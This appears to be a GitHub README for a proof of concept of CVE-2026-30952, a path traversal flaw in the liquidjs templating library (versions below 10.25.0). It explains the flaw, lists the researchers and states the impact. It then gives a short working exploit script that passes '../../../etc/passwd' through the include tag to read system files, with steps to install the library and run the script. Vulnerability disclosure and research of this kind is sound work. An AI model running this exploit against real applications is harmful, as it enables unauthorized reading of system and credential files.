morielharush/cve-2026-30952-pocPoC for CVE-2026-30952: Path Traversal vulnerability in liquidjs via absolute paths in layout, render, and include tags.
This repository contains a Proof of Concept (PoC) for CVE-2026-30952, a high-severity path traversal vulnerability discovered in the liquidjs library (versions < 10.25.0).
Authors & Researchers:
Moriel Harush Maor Caplan
The vulnerability allows arbitrary file access through the layout, render, and include tags when they are used with absolute paths. This occurs even when a root directory is specified, as the library's fallback mechanism fails to properly validate if the resolved path stays within the intended root.
Impact: An attacker can read sensitive files (e.g., /etc/passwd, environment files) if they can control the template content or the variable passed to these tags.
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));
liquidjs (npm install [email protected])npm install.node exploit.js